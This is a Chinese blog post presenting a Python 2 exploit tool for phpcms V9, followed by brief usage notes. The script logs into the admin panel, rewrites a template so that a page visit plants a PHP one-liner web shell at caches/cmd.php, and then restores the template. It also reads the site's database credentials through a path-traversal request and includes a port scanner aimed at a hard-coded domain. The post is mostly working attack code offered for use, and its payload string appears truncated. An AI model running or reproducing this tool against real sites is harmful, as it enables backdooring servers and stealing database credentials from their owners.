Python版phpcmsV9自动写shell

  • 发表于
  • Vulndb

注意:本程序具有攻击性,请勿用作非法用途,否则于本作者无关!

最近一直在学习python相关内容就顺手写个工具以作练习,上代码:

#coding: GBK
'''
Created on 2012-8-2

@author: Return
'''
import cookielib
import urllib2,urllib
import re
import sys
import os
import socket
class getShell:

rhost = ''#远程目标主机
cookieSavePath= 'tmp/cookie/cookie.dat' #cookie 保存位置
codeSavePath= 'tmp/code/code.png' #code保存位置
phpShell= '"; file_put_contents("caches/cmd.php",$shell); ?>' #一句话
header= {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 QIHU 360EE'}
tmpPath = ''#临时地址存贮变量
dataBaseInfo= {}#数据库信息
postData= {}#post数据
url = ''#远程url地址
username= ''#用户名
password= ''#用户密码
vfCode= ''#验证码
pc_hash = ''#phpcmsV9校验值
result= ''#临时变量
#===========================================================================
# __init__初始化函数
#===========================================================================
def __init__(self):
self.cookie = cookielib.LWPCookieJar()
urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie)))
#===========================================================================
# login登录
#===========================================================================
def login(self):
self.getVerifyCode()#先获取验证码
self.tmpPath= '/index.php?m=admin&c=index&a=login&dosubmit=1'
self.postData = {
 'username':self.username,
 'password':self.password,
 'code':self.vfCode,
 'dosubmit':''
}
self.url = 'http://'+self.rhost+self.tmpPath
self.result = self.urlPostData()

if len(re.findall("登录成功",self.result)):
self.pc_hash = re.search("(?<=pc_hash=)(.+?)(?=\')",self.result).group()
print '登录成功'
self.wirteShell() # 登陆成功后写入shell
else:
print '登录失败'
print re.search('(330px">)((.|\n)*?)(?=
)',self.result).group(2) self.login() def wirteShell(self): print '写入Shell...' tmpPath = '/index.php?m=template&c=file&a=edit_file&style=default&dir=search&file=footer.html&pc_hash=' self.url = 'http://'+self.rhost+tmpPath+self.pc_hash #v9中必须加上校验码,否则不能通过 self.result = self.urlPostData() if len(re.findall('点击插入',self.result)): templateTmp = re.search("()((.|\n)*?)(<.*?>)",self.result).group(2) #提交写shell模版 self.postData = { 'code':self.phpShell, 'dosubmit':'提交', 'pc_hash':self.pc_hash } self.url = 'http://'+self.rhost+tmpPath+self.pc_hash self.urlPostData() urllib2.urlopen('http://'+self.rhost+'/index.php?m=search').read()#访问模版页面生成shell #写回原模版 self.postData = { 'code':templateTmp, 'dosubmit':'提交', 'pc_hash':self.pc_hash } self.url = 'http://'+self.rhost+tmpPath+self.pc_hash self.urlPostData() else: print '没有找到Search的foot模版...' #=========================================================================== # getVerifyCode获取验证码 #=========================================================================== def getVerifyCode(self): #验证码获取地址 self.tmpPath = '/api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background=' self.url = 'http://'+self.rhost+self.tmpPath open(self.codeSavePath,'wb').write(self.urlPostData()) print '请输入验证码:' self.showPic() self.vfCode = sys.stdin.readline() #=========================================================================== # urlPostDataurl Post提交数据 #=========================================================================== def urlPostData(self): postData = urllib.urlencode(self.postData) req = urllib2.Request( url = self.url, data = postData, headers = self.header ) result = urllib2.urlopen(req).read() self.saveCookie() self.delVariable() return result #=========================================================================== # getDataBaseInfo获取数据库信息 #=========================================================================== def getDataBaseInfo(self): #爆数据库信息地址 self.tmpPath = '/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../caches/configs/database.php' self.url = 'http://'+self.rhost+self.tmpPath result = self.urlPostData() self.dataBaseInfo['hostName'] = re.search("(?<='hostname' => ')(.*?)(?=',)",result).group() self.dataBaseInfo['database'] = re.search("(?<='database' => ')(.*?)(?=',)",result).group() self.dataBaseInfo['username'] = re.search("(?<='username' => ')(.*?)(?=',)",result).group() self.dataBaseInfo['password'] = re.search("(?<='password' => ')(.*?)(?=',)",result).group() self.dataBaseInfo['tablepre'] = re.search("(?<='tablepre' => ')(.*?)(?=',)",result).group() self.dataBaseInfo['type'] = re.search("(?<='type' => ')(.*?)(?=',)",result).group() #=========================================================================== # printDbInfo输出数据库信息 #=========================================================================== def printDbInfo(self): print 'HostName:',self.dataBaseInfo['hostName'] print 'DataBase:',self.dataBaseInfo['database'] print 'UserName:',self.dataBaseInfo['username'] print 'Password:',self.dataBaseInfo['password'] print 'TablePre:',self.dataBaseInfo['tablepre'] print 'DataType:',self.dataBaseInfo['type'] #=========================================================================== # scanPort端口扫描 #=========================================================================== def scanPort(self): for p in range(80,8000): try: ip = 'www.gidigame.com' port = p s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,port)) print 'Port:',port,' open' s.close() except socket.error,msg: pass #print 'Port:',port,' close' #=========================================================================== # setRhost设置目标主机 #=========================================================================== def setRhost(self,host): self.rhost = host #=========================================================================== # getRhost获取目标主机 #=========================================================================== def getRhost(self): return self.rhost #=========================================================================== # setShell自定义shell #=========================================================================== def setShell(self,shellCode): self.phpShell = shellCode #=========================================================================== # saveCookie保存cookie值 #=========================================================================== def saveCookie(self): self.cookie.save(self.cookieSavePath) #=========================================================================== # logMsg日志信息,这里可以自己捕捉异常后处理信息 #=========================================================================== def logMsg(self,msg): print msg exit() #=========================================================================== # showPic用来显示验证码 #=========================================================================== def showPic(self): imgPath = os.path.abspath(self.codeSavePath) os.system('rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen '+imgPath) #=========================================================================== # delVariable清除变量,防止产生误差 #=========================================================================== def delVariable(self): self.url= '' self.tmpPath= '' self.dataBaseInfo = {} self.postData = {} self.header ={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11 QIHU 360EE'} #=========================================================================== # __del__析构函数,类被注销时候调用 #=========================================================================== def __del__(self): print 'Bye...' def sysinfo(): print ''' ******************************************************************************** PHPcmsV9 自动写shell 功能:自动写入caches目录下cmd.php一句话 密码:cmd Author: ReturnBlog:www.creturn.com Example: exp.py www.creutn.com username password ******************************************************************************** ''' #=============================================================================== # main入口函数 #=============================================================================== def main(): sysinfo(); shell = getShell() if(len(sys.argv) > 3): shell.setRhost(sys.argv[1]) shell.username = sys.argv[2] shell.password = sys.argv[3] shell.login() else: print '参数不对!' if __name__ == '__main__': main()

使用说明,直接看实例截图:
运行程序后,输入目标地址如:www.site.com 用户名 密码
会自动用图片查看器打开验证码,然后输入验证码:
正确输入验证码后,程序会自动写入cache/cmd.php的一句话,由于找的一个测试外部站点,仅用了一些安全方面的函数因此一句话
就不能测试了,我就直接写入一个php文件输出一段文字:shell一句话:cmd

作者:Return's